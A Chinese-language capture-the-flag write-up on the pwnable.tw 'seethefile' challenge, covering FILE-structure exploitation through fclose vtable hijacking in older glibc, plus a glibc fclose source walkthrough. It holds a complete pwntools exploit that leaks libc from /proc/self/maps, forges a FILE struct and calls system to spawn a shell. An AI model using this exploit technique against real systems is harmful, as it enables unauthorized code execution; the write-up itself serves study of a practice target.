原理
fclose与伪造_IO_FILE
我们使用fopen打开一个文件会在堆上分配一块内存区域用来存储FILE结构体,存储的结构体包含两个部分,前一部分为_IO_FILE
结构体file,后一部分是一个指向struct IO_jump_t
的指针vtable, 这个结构体种存储着一系列与文件IO相关的函数指针。
在我们调用fclose关闭一个文件时,我们最终会调用到vtable中存储的函数指针。如果我们能够将vtable中的指针替换为我们自己想要跳转到的地址就可以劫持程序流程。
利用条件
- 仅考虑libc版本 <= 2.23的情况。因为大于等于2.24的libc会对vtable的位置做判断,无法令其指向自己构造的区域
- 可以控制vtable指针或者fp指针指向的位置
- 有一块已知地址的可控内存区域,大小需要视情况而定
利用方式1:直接覆盖vtable指针
即将vtable指针指向可控内存,将__finish(off=2*SIZE_T)
构造为要执行的地址即可
利用方式2:覆盖fp指针
有的时候我们无法直接控制FILE结构体的vtable指针,但是我们可以控制FILE文件结构体指针。因此我们需要伪造整个FILE结构体,然后控制vtable指针指向我们自己构造的函数列表,在__finish(off=2*SIZE_T)位置布置好我们想要调用的地址,最后调用fclose。
这种方式的关键在于 要伪造一个合适的FILE结构体使得在fclose的过程中不会触发异常造成程序异常终止。
为了避免这种情况,一种最简单的方式就是将FILE结构体的_flags
变量的_IO_IS_FILEBUF
标志位置0。例如置为0xffffdfff
。这样做的主要原因是为了绕过一些操作。
一些判断的代码逻辑:
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
可以看到当_IO_IS_FILEBUF
位为0时,函数不会执行_IO_un_link和_IO_file_close_it函数,而直接执行_IO_FINISH
函数。在_IO_FINISH
函数中会直接调用vtable中的__finish
函数。其中_IO_IS_FILEBUF
被定义为0x2000
。
#define _IO_IS_FILEBUF 0x2000
几个总结
- 此处
_IO_FILE
结构体大小为0x94
- vtable虚表包含很多指针,里面一般性是21或者23个变量,我们需要改的是第三个,别的填充些正常的地址就好
32和64位下的IOFILE利用模板
https://www.jianshu.com/p/a6354fa4dbdf
分析
.bss:0804B080 ; char filename[64]
.bss:0804B080 filename db 40h dup(?) ; DATA XREF: openfile+53↑o
.bss:0804B080 ; openfile+6D↑o ...
.bss:0804B0C0 public magicbuf
.bss:0804B0C0 ; char magicbuf[416]
.bss:0804B0C0 magicbuf db 1A0h dup(?) ; DATA XREF: openfile+33↑o
.bss:0804B0C0 ; readfile+17↑o ...
.bss:0804B260 public name
.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends
.bss:0804B280
我们可以通过溢出name来覆盖fp
1)openfile:打开文件,文件指针就是fp,不能打开文件名为flag的文件
2)readfile:从fp读取0x18F个字节到magicbuf上
3)closefile:关闭文件,指针fp赋0
4)writefile:只是一个打印函数,而不能写入,不能打印flag,FLAG,}名的文件,如下
libc泄露
由于linux独特的文件形式存储,文件的内存信息存储与/proc/pid/maps中,这里pid使用self来代替,就能获取libc的地址了。
构造
将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以;
开头或者||/bin/sh
即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可
EXP
from pwn import *
# context.log_level = 'debug'
local = False
if local:
p = process('./seethefile')
elf = ELF('./seethefile')
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote('chall.pwnable.tw', 10200)
elf = ELF('./seethefile')
libc = ELF("./libc32.so.6")
def openfile(name):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('What do you want to see :')
p.sendline(name)
def readfile():
p.recvuntil('Your choice :')
p.sendline('2')
def writefile():
p.recvuntil('Your choice :')
p.sendline('3')
def closefile():
p.recvuntil('Your choice :')
p.sendline('4')
def exit_with_name(name):
p.recvuntil('Your choice :')
p.sendline('5')
p.recvuntil('Leave your name :')
p.sendline(name)
openfile('/proc/self/maps')
readfile()
writefile()
LOG = False
if not LOG:
p.recvline()
p.recvline()
p.recvline()
p.recvline()
else:
log.success(p.recvline())
log.success(p.recvline())
log.success(p.recvline())
log.success(p.recvline())
# reveal libc base through /proc/self/maps
libc_base = int(p.recvline()[:8], 16) + 0x1000
log.success('libc_base: ' + str(hex(libc_base)))
libc.address=libc_base
system_addr = libc.symbols['system']
log.success('system_addr: ' + str(hex(system_addr)))
closefile()
# Forge FILE struct
openfile('/proc/self/maps') # open fd to trigger fclose
fake_file_addr = 0x0804B300 # spare memory
payload = 'a' * 0x20 + p32(fake_file_addr)
payload += '\x00' * (0x0804B300 - 0x0804B280 - 4)
# fake IO file struct (size is 0x94)
# padding header with 0xFFFFDFFF and arg string
# the ||/bin/sh string is same as ;$0
payload += '\xff\xff\xdf\xff;$0\x00'.ljust(0x94, '\x00')
# Forged vtable is designed on 0x0804B300+0x98 (next to the fake IO file)
payload += p32(fake_file_addr + 0x98)
payload += p32(system_addr) * 21
exit_with_name(payload)
p.interactive()
# gdb.attach(p)
注:原题在pwnable.tw上面,但是shell以后没法直接cat flag,查看文件夹下有一个get_flag和它的源文件,源文件代码是
#include
#include
int read_input(char *buf,unsigned int size){
int ret ;
ret = read(0,buf,size);
if(ret <= 0){
puts("read error");
exit(1);
}
if(buf[ret-1] == '\n')
buf[ret-1] = '\x00';
return ret ;
}
int main(){
char buf[100];
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
printf("Your magic :");
read_input(buf,40);
if(strcmp(buf,"Give me the flag")){
puts("GG !");
return 1;
}
FILE *fp = fopen("/home/seethefile/flag","r");
if(!fp){
puts("Open failed !");
}
fread(buf,1,40,fp);
printf("Here is your flag: %s \n",buf);
fclose(fp);
}
我们要运行./get_flag
程序,然后输入Give me the flag
才能得到flag.
glibc fclose源码分析记录
_IO_FILE与_IO_FILE_plus结构体
在C语言中,成功调用fopen函数后会在堆上分配一块空间用于存放_IO_FILE_plus结构体,并且返回结构体的首地址。阅读源码可以发现_IO_FILE_plus结构体只是在_IO_FILE结构体后添加了一个虚表指针 vtable。
/* _IO_FILE_plus结构体 */
/* in libio/libioP.h */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
虚表指针指向了如下的一个结构体。JUMP_FIELD
是一个接收两个参数的宏,前一个参数为类型名,后一个为变量名。结构体的前两个变量实际上不会被使用到,所以默认为0,其余的变量存储着不同的函数指针,在使用FILE结构体进行IO操作的过程中会通过这些函数指针调用到对应的函数。
/*_IO_jump_t虚表结构体*/
/* in libio/libioP.h */
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
_IO_FILE结构体的定义如下。__flags
FILE结构体的一些状态;_markers
为指向markers结构体的指针变量,为一个单向链表结构,存放流的位置;_chain
变量为一个链表的指针,进程中创建的FILE结构体会通过这个变量连成一个单向链表;
另一点需要注意的是在新版本中,_IO_FILE_complete
结构体被删除,其中的字段被添加到_IO_FILE结构体中
/*_IO_FILE结构体*/
/* libio/libio.h */
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
fclose代码
为了精简删掉了一部分关系不大的代码,下面的函数是新版本的fclose代码,IO_old_fclose主要代码与新版本类似
/* libio/iofclose.c */
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
/*这里本来有个对版本进行检测的代码,根据FILE结构中_vtable_offset变量是否为0来判断,不为0则执行_IO_old_fclose*/
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
该函数的流程可以粗略地进行如下表示:
流程图中有几个关键函数
- _IO_un_link
- _IO_file_close_it
- _IO_FINISH
- _IO_free_backup_area
- free
在检查vtable_offset==0
之后函数对fp->_flags
的_IO_IS_FILEBUF
位进行检查,_IO_IS_FILEBUF
如上文定义如下
#define _IO_IS_FILEBUF 0x2000
若该位不为0则调用_IO_un_link(fp)将fp指向的FILE结构体从_IO_list_all的单向链表中取下,并调用_IO_file_close_it(fp)关闭fp。
然后将调用_IO_FINISH(fp),相当于执行((struct IO_FILE_plus *)fp->vtable)->__finish(fp)
。
_IO_un_link
/* in libio/genops.c */
void
_IO_un_link (struct _IO_FILE_plus *fp)
{
if (fp->file._flags & _IO_LINKED)
{
struct _IO_FILE **f;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
if (_IO_list_all == NULL)
;
else if (fp == _IO_list_all)
{
_IO_list_all = (struct _IO_FILE_plus *) _IO_list_all->file._chain;
++_IO_list_all_stamp;
}
else
for (f = &_IO_list_all->file._chain; *f; f = &(*f)->_chain)
if (*f == (_IO_FILE *) fp)
{
*f = fp->file._chain;
++_IO_list_all_stamp;
break;
}
fp->file._flags &= ~_IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
_IO_un_link首先判断fp的标志位中的_IO_LINKED
是否置位,若置位进行下一步操作,最后将其清零。
_IO_LINKED
的定义如下
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
若_IO_list_all != fp则_IO_un_link函数将从_IO_list_all开始遍历链表,寻找fp指针,找到后将其前一个节点指针指向后一个节点指针即指向fp->file._chain;若_IO_list_all==fp则将全局变量_IO_list_all的值更改为IO_list_all->file._chain。
_IO_file_close_it
/* in libio/fileops.c */
/* 在新版本中 _IO_file_close_it被定义为_IO_new_file_close_it */
int
_IO_new_file_close_it (_IO_FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
else
write_status = 0;
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
/* Free buffer. */
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
if (fp->_mode > 0)
{
if (_IO_have_wbackup (fp))
_IO_free_wbackup_area (fp);
_IO_wsetb (fp, NULL, NULL, 0);
_IO_wsetg (fp, NULL, NULL, NULL);
_IO_wsetp (fp, NULL, NULL);
}
#endif
_IO_setb (fp, NULL, NULL, 0);
_IO_setg (fp, NULL, NULL, NULL);
_IO_setp (fp, NULL, NULL);
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
_IO_new_file_close_it
首先根据fp->_fileno是否为0判断文件是否打开
#define _IO_file_is_open(__fp) ((__fp)->_fileno != -1)
若文件未打开,则直接返回EOF。否则函数将继续执行
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
以上代码将fp中未输出的部分输出,_IO_do_flush(fp)定义如下
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
# define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
#else
# define _IO_do_flush(_f) \
_IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base)
#endif
然后fclose将调用_IO_unsave_markers(fp)将保存的markers
清除,在这个版本的libc代码中,这个函数有一部分功能还没完成,用(#define TODO围着),唯一值得注意的是函数最后
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
void
_IO_free_backup_area (_IO_FILE *fp)
{
if (_IO_in_backup (fp))
_IO_switch_to_main_get_area (fp); /* Just in case. */
free (fp->_IO_save_base);
fp->_IO_save_base = NULL;
fp->_IO_save_end = NULL;
fp->_IO_backup_base = NULL;
}
如果fp->_IO_save_base不为空,它将被free。
之后在_IO_new_file_close_it中执行了
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
当fp->_flags2的_IO_FLAGS2_NOCLOSE
没有被置位时,会调用_IO_SYSCLOSE(fp),相当于调用_IO_FILE_plus
结构体中的vtable
中的__close
函数。这一次调用_IO_un_link好像并没有实际作用。
最后又调用了_IO_un_link(fp)并设置了一些flags
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
参考
- http://p4nda.top/2017/09/20/pwnable-tw-seethefile/
- https://blog.csdn.net/qq_42192672/article/details/84782627
- https://www.jianshu.com/p/2e00afb01606
- https://www.jianshu.com/p/a6354fa4dbdf